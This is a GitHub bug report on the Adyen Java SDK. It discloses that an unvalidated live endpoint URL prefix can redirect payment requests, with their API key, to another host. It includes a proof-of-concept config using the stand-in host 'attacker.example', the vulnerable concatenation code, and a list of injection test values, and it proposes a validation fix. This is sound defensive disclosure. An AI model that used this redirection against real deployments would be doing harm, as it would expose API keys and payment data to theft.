Skip to content

[Bug]: Unsafe live endpoint URL prefix can change the payment destination #2112

Open

Description

@visheshupadhyay

Description

The Java SDK inserts the live endpoint URL prefix directly into live Checkout and PAL endpoint URLs without validating it as a hostname component. An invalid prefix containing URL-control characters such as ?, #, /, @, or : can change the parsed request destination away from the intended Adyen domain. If an attacker can alter this backend configuration value, a payment request could be sent to an attacker-controlled host. This may expose the request body and the API key attached to the request. This is not normally controlled by a shopper. Exploitation requires control of backend configuration, for example through a compromised environment variable, deployment configuration, or an unsafe administrator configuration feature.

Steps to reproduce

  1. Configure a live client with a malicious live endpoint URL prefix.
  2. Construct a Checkout API service.
  3. Inspect the generated base URL.
Config config =
    new Config()
        .environment(Environment.LIVE)
        .apiKey("test-api-key")
        .liveEndpointUrlPrefix("attacker.example/?x=#");

Client client = new Client(config);
PaymentsApi paymentsApi = new PaymentsApi(client);

The generated Checkout base URL is:

https://attacker.example/?x=#-checkout-live.adyenpayments.com/checkout/v72

The URL parser treats attacker.example as the host.

Actual behavior

Actual behavior

Service#createBaseURL accepts arbitrary non-null text as the live endpoint URL prefix and concatenates it into the URL.

This allows URL separators and control characters to change the effective URL structure.

Expected behavior

Expected behavior

The SDK should accept only a valid live URL prefix and reject values containing URL-control characters.

The configured prefix must be treated as one hostname component, so values containing /, ?, #, @, :, %, whitespace, or control characters must throw an IllegalArgumentException.

Code snippet or screenshots (if applicable)

Vulnerable URL construction:

"https://"
    + config.getLiveEndpointUrlPrefix()
    + "-checkout-live.adyenpayments.com/checkout/"

Affected source locations:

  • src/main/java/com/adyen/Service.java
  • src/main/java/com/adyen/httpclient/AdyenHttpClient.java (adds the API key to outgoing requests)

Regression tests should reject these values for both Checkout and PAL endpoints:

""
"evil.example/?x=#"
"evil.example?redirect=true"
"evil.example#fragment"
"evil.example/path"
"evil@example.com"
"evil.example:443"
"evil%2Fexample"
"prefix with space"
"prefix\nnext-line"

Terminal ScreenShots

BuildRunBeforeChanges
Image
TestRunWithBug
Image
TestRunAfterBugFix
Image
BuildRunAfterBugFix
Image

Adyen Java API Library version

43.1.0

Java version

Java 21.0.12 LTS

Operating System

Windows

Additional context

I used [A-Za-z0-9]+(?:-[A-Za-z0-9]+)* because the prefix becomes part of the Adyen hostname, so it must not allow URL-control characters like /, ?, or #.
Reference: https://docs.adyen.com/development-resources/live-endpoints
The rule is a conservative security proposal. Please let me know if any specific pattrn is required in this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions